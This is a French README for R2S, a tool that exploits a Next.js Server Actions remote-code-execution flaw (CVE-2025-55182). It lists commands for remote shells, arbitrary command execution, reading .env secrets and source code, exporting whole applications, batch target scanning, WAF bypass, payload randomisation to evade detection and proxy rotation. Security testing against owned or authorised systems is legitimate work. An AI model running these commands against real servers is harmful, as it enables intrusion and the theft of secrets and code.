
Outil avancé de test de sécurité pour l'évaluation de la vulnérabilité CVE-2025-55182 dans les applications Next.js. Fonctionnalités : shell interactif, analyse par lots, contournement WAF, et rapports complets.
Outil avancé de test d'exploitation pour l'évaluation de la vulnérabilité CVE-2025-55182
Fonctionnalités • Installation • Utilisation • Environnement de test • Juridique
R2S (React2Shell) est un outil de test de sécurité conçu pour aider les chercheurs en sécurité, les développeurs et les testeurs d'intrusion à évaluer si leurs applications Next.js sont vulnérables à CVE-2025-55182.
CVE-2025-55182 est une vulnérabilité critique affectant les Server Actions de Next.js dans certaines versions (par exemple, 16.0.5). Cette vulnérabilité permet aux attaquants d'exécuter des commandes arbitraires sur le serveur via des Server Actions mal sécurisées, entraînant une exécution de code à distance (RCE).
R2S vous aide à vérifier si votre application présente ce problème afin que vous puissiez le corriger avant que des acteurs malveillants ne le découvrent.
--windows)⚠️ AVERTISSEMENT CRITIQUE : L'option --windows peut entraîner l'ÉCHEC de la détermination de la vulnérabilité si elle est utilisée incorrectement.
--windows : Uniquement si vous êtes certain à 100 % que le serveur cible est Windows--windows sur un serveur Linux, les commandes échoueront et l'outil pourrait signaler « non vulnérable » même si le serveur l'est--windows sauf si vous savez que la cible est WindowsExemple :```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
## ⚠️ Avis de non-responsabilité légal
**IMPORTANT : LISEZ CECI AVANT D'UTILISER CET OUTIL**
1. **Cet outil est destiné UNIQUEMENT aux tests de sécurité LÉGITIMES**
- ✅ Testez vos propres applications
- ✅ Testez les applications pour lesquelles vous avez une autorisation écrite
- ✅ Fins éducatives et recherche en sécurité
- ❌ **NE JAMAIS utiliser sur des systèmes que vous ne possédez pas ou sans autorisation**
- ❌ **NE JAMAIS utiliser à des fins malveillantes**
2. **En utilisant cet outil, vous acceptez que :**
- Vous ne l'utiliserez que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite
- Vous comprenez que l'accès non autorisé à des systèmes informatiques est illégal
- Vous assumez l'entière responsabilité de vos actions
- Les auteurs ne sont pas responsables d'une quelconque utilisation abusive de cet outil
3. **Conséquences légales :**
- L'accès non autorisé à des systèmes informatiques est un crime dans la plupart des pays
- Vous pourriez faire face à des poursuites pénales, des amendes et une peine d'emprisonnement
- Obtenez toujours une autorisation écrite avant de tester
4. **Cet outil est fourni « EN L'ÉTAT » sans garantie d'aucune sorte**
**Si vous avez moins de 18 ans, assurez-vous d'avoir une supervision adulte et une autorisation avant d'utiliser cet outil.**
---
## ✨ Fonctionnalités
### Capacités principales
- 🔍 **Détection de vulnérabilités** - Testez rapidement si un serveur est vulnérable à CVE-2025-55182
- 💻 **Shell interactif** - Session shell interactive complète via HTTPS avec historique des commandes
- 📁 **Opérations sur les fichiers** - Liste des répertoires, lecture de fichiers et exportation de fichiers/archives
- 🔐 **Extraction de secrets** - Tente de lire les secrets d'application (fichiers .env, fichiers de configuration)
- 📄 **Extraction de code** - Tente de lire le code source de l'application
- 🖥️ **Informations système** - Récupère les informations sur l'OS, le nom d'hôte, l'utilisateur et les variables d'environnement
### Fonctionnalités avancées
- 🚀 **Auto-Warming Payloads** - Optimise automatiquement les charges utiles pour de meilleurs résultats
- ⚡ **Exécution parallèle** - Exécutez plusieurs commandes simultanément
- 🎲 **Randomisation des charges utiles** - Évitez la détection avec des charges utiles dynamiques
- 🛠️ **Modules d'exploitation** - Système de modules de style Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Gestion des redirections** - Suit automatiquement les redirections HTTP (301, 302, 303, 307, 308)
- 🎨 **Interface utilisateur élégante** - Sortie codée en couleur pour une lecture facile
- 📊 **Rapports complets** - Enregistrement automatique des rapports aux formats JSON, HTML, TXT avec des formateurs spécifiques aux opérations
- ⚙️ **Système de configuration** - Configuration basée sur JSON avec panneau de paramètres interactif
- 📦 **Fonction d'exportation** - Exportez des fichiers individuels ou des répertoires entiers d'applications sous forme d'archives zip
- 🔒 **Contournement WAF** - Multiples techniques de contournement (⚠️ Non garanti - voir limitations ci-dessous)
### Rapports et journalisation
- 📝 **Enregistrement automatique des rapports** - Enregistre automatiquement les rapports dans `~/.r2s/reports/` avec des horodatages lisibles
- 📋 **Formats spécifiques aux opérations** - Différents formats de rapport pour différentes opérations (shell, test, secrets, etc.)
- 📜 **Historique des commandes** - Historique persistant des commandes sauvegardé dans `~/.r2s/history`
- 🔍 **Pistes d'audit** - Journalisation détaillée de toutes les opérations dans `~/.r2s/logs/audit.log`
- 🎨 **Rapports HTML** - Beaux rapports HTML avec mode sombre/clair, boutons de copie et blocs de code
---
## 📦 Installation
### Option 1 : Compilation à partir des sources (Recommandée)
1. **Clonez le dépôt :** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 Démarrage rapide
### Test de vulnérabilité de base```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Important : N'utilisez pas --windows à moins d'être certain que la cible est Windows. Utiliser --windows sur un serveur Linux entraînera des faux négatifs (l'outil peut indiquer « non vulnérable » même si le serveur est vulnérable).
Nous fournissons un environnement de test sécurisé sur https://r2s-arena.fly.dev :```bash
r2s -u https://r2s-arena.fly.dev -t
### Tester localement
Voir [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) pour les instructions pour exécuter l'application vulnérable localement.
---
## 📚 Exemples d'utilisation
### Référence rapide des commandes
**Commandes les plus courantes :**
- `r2s -u URL -t` - Test de vulnérabilité (le plus courant)
- `r2s -u URL --shell` - Démarrer le shell interactif
- `r2s --targets FILE -t` - Analyse par lots de plusieurs cibles
- `r2s -u URL --system-info` - Obtenir les informations système
- `r2s -u URL --secrets` - Tenter de lire les secrets
- `r2s -u URL --export-archive` - Exporter toute l'application en zip
**⚠️ Rappel** : N'utilisez pas `--windows` sauf si la cible est Windows !
---
### Opérations de base```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### Modules d'exploitation```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### Secrets et extraction de code```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### Options avancées```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### Journalisation & Audit```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### Rapports```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. Audit de sécurité```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
Utilisez l'application nextjs fournie pour des tests locaux sécurisés :```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
Voir [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) pour des instructions détaillées.
---
## 🏗️ Architecture
R2S utilise une architecture modulaire pour la maintenabilité et l'extensibilité :```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
Voir react2shell/README.md pour la documentation détaillée de l'architecture.
Nous fournissons un environnement de test sécurisé appelé nextjs que vous pouvez utiliser pour tester l'outil sans risquer des systèmes réels.
Visitez : https://r2s-arena.fly.dev
Il s'agit d'une application publique, intentionnellement vulnérable, destinée uniquement aux tests.
Voir nextjs/README.md pour les instructions d'exécution locale.
⚠️ Important : L'application nextjs est intentionnellement vulnérable et ne doit JAMAIS être utilisée en production ou avec des données réelles.
| Commande | Description |
|---|---|
--export FILE, --ex FILE | Exporter un seul fichier de la cible (sauvegardé dans ~/.r2s/exports/{domain}/) |
--export-archive | Exporter tout le répertoire de l'application sous forme d'archive zip. Crée le zip sur le serveur, le télécharge, puis le supprime du serveur. Exclut les motifs .gitignore. Sauvegardé dans ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Commande | Description |
|---|---|
--module NAME | Exécuter le module d'exploitation |
--module-list, --list-modules |
| Option | Description |
|---|---|
--output FILE, -o FILE |
| Option | Description |
|---|---|
--targets FILE | Analyser plusieurs cibles depuis un fichier (une URL par ligne, prend en charge les commentaires avec #) |
--batch | Mode batch : ignorer toutes les invites interactives, continuer automatiquement (utile pour l'automatisation/scripts) |
| Commande | Description |
|---|---|
r2s settings | Ouvrir le panneau de paramètres interactif |
r2s -u https://target.com -t --insecure
### "Erreur de connexion"
- Vérifiez si le serveur est en cours d'exécution
- Vérifiez que l'URL est correcte
- Vérifiez les paramètres du pare-feu
- Essayez d'augmenter le délai d'attente : `--timeout 30`
### "Requête bloquée"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ IMPORTANT : Drapeau des commandes Windows
Si vous obtenez des faux négatifs (l'outil indique "non vulnérable" alors que la cible l'est effectivement), vérifiez :
Avez-vous utilisé le drapeau --windows ?
--windows fait utiliser à l'outil des commandes Windows (PowerShell, dir, etc.)--windows fera ÉCHOUER l'outil--windows (Unix/Linux est la valeur par défaut)Détection de plateforme
--windows uniquement si vous êtes sûr à 100 % que la cible est WindowsCommande de test
echo $((41*271))--windows, il utilise : powershell -c "41*271"Exemple du problème :```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### Limites du contournement WAF
**⚠️ Important :** Les techniques de contournement WAF de cet outil ne sont **PAS garanties** de fonctionner et présentent plusieurs limitations :
- **Non universel** : Différents WAF utilisent différentes méthodes de détection. Ce qui fonctionne pour l'un peut ne pas fonctionner pour un autre.
- **Détection statique** : Certains WAF utilisent une correspondance de motifs statique qui peut être contournée, mais les WAF modernes utilisent l'analyse comportementale.
- **Limitation de débit** : De nombreux WAF implémentent une limitation de débit qui peut bloquer les tentatives répétées.
- **Apprentissage automatique** : Les WAF avancés utilisent des modèles de ML qui s'adaptent et apprennent des schémas d'attaque.
- **Cloudflare/AWS WAF** : Les WAF de niveau entreprise (Cloudflare, AWS WAF, etc.) sont extrêmement difficiles à contourner.
- **Aucune garantie** : Les techniques de contournement sont expérimentales et peuvent échouer face à des WAF bien configurés.
**Bonnes pratiques :**
- Utilisez le contournement WAF en dernier recours
- Essayez différentes stratégies d'en-tête (`--header-strategy`)
- Combinez avec `--randomize` pour de meilleurs résultats
- Comprenez que certaines cibles peuvent être impossibles à contourner
- Testez toujours sur des systèmes que vous possédez ou pour lesquels vous avez l'autorisation de tester
### Problèmes de compilation```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
Pour supprimer en toute sécurité tous les artefacts de build (répertoires de build, fichiers cache, etc.) :```bash ./build.sh cleanup
Cela supprimera :
- `build/` directory (fichiers de compilation PyInstaller)
- `dist/` directory (binaires compilés)
- `__pycache__/` directories (cache Python, récursivement)
- `*.pyc` files (bytecode Python compilé)
- `*.pyo` files (bytecode Python optimisé)
- `*.spec` files (fichiers de spécification PyInstaller)
**Remarque :** Cela ne supprime que les artefacts de compilation, pas votre code source. Le nettoyage est sûr et demandera une confirmation avant de procéder.
---
## 📁 Structure des fichiers```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
Les contributions sont les bienvenues ! Veuillez :
Rappel : Ne contribuez que du code qui aide aux tests de sécurité légitimes.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Toutefois, l'utilisation de cet outil est soumise à la clause de non-responsabilité légale ci-dessus. Utiliser cet outil pour un accès non autorisé est illégal et n'est pas couvert par cette licence.
zamdevio
Cet outil est destiné UNIQUEMENT à des tests de sécurité et à des fins éducatives.
Restez légal, restez éthique, restez en sécurité ! 🛡️
Fait avec ❤️ pour la communauté de la sécurité
| Commande | Description |
|---|
-u, --url URL | URL cible (requise pour la plupart des opérations) |
-t, --test | Tester si le serveur est vulnérable |
-ld, --list-dir PATH | Lister le contenu du répertoire |
-rf, --read-file FILE | Lire le contenu du fichier |
-si, --system-info | Obtenir des informations système |
-sr, --secrets | Tenter de lire les secrets |
-c, --code | Tenter de lire le code source |
-cmd, --command CMD | Exécuter une commande personnalisée |
--shell | Démarrer un shell interactif |
| Lister les modules disponibles |
--module-info NAME | Afficher les informations du module |
--set KEY=VALUE | Définir l'option du module |
| Option | Description |
|---|
--waf-bypass | Essayer les techniques de contournement WAF (⚠️ Non garanti - voir limitations ci-dessous) |
--waf-bypass-size KB | Taille des données indésirables pour le contournement WAF en Ko (défaut : 128) |
--vercel-waf-bypass | Activer les techniques de contournement WAF spécifiques à Vercel |
--header-strategy STRATEGY | Stratégie d'en-tête HTTP : default, chrome_latest, firefox, minimal, assetnote |
--parallel N | Exécuter N commandes en parallèle (utile pour plusieurs commandes) |
--auto-warm | Préchauffer et optimiser automatiquement les charges utiles avant exécution |
--randomize | Randomiser les charges utiles pour échapper à la détection statique |
--no-follow-redirects | Ne pas suivre automatiquement les redirections HTTP (301, 302, etc.) |
-k, --insecure | Désactiver la vérification du certificat SSL (à utiliser avec prudence) |
--timeout SECONDS | Délai d'attente de la requête en secondes (défaut : 10, utiliser 0 pour aucun délai) |
--windows | ⚠️ AVERTISSEMENT : Utiliser des commandes Windows au lieu d'Unix/Linux. Cela peut entraîner l'ÉCHEC de la détermination de la vulnérabilité si la cible est en réalité Unix/Linux. Utilisez cette option uniquement si vous êtes certain que la cible est Windows. |
--rate RATE | Limiter les requêtes à RATE requêtes par seconde (utile pour les analyses par lots) |
--delay SECONDS | Ajouter un délai entre les requêtes en secondes (aide à éviter les limitations de débit) |
--batch | Mode batch : ignorer toutes les invites interactives, continuer automatiquement (utile pour l'automatisation) |
| Enregistrer les résultats dans un fichier spécifique (désactive la sauvegarde automatique) |
--no-report | Désactiver l'enregistrement automatique du rapport dans ~/.r2s/reports/ |
--log FILE | Journaliser toutes les opérations dans le fichier spécifié (journal détaillé des opérations) |
--audit | Créer une piste d'audit détaillée (sauvegardée dans ~/.r2s/logs/audit.log) |
| Option | Description |
|---|
--proxy URL | Utiliser un proxy HTTP (format : http://proxy:port ou http://user:pass@proxy:port) |
--proxy-file FILE | Charger et alterner les proxys depuis un fichier (un proxy par ligne, format : http://proxy:port) |
--rate RATE | Limiter les requêtes à RATE requêtes par seconde (évite de submerger la cible) |
--delay SECONDS | Ajouter un délai entre les requêtes en secondes (aide à éviter les limitations de débit) |
r2s cleanup |
| Supprimer toutes les données R2S (configuration, historique, journaux, rapports, exportations) |
r2s uninstall | Désinstaller le binaire R2S et toutes les données |
r2s help | Afficher le message d'aide |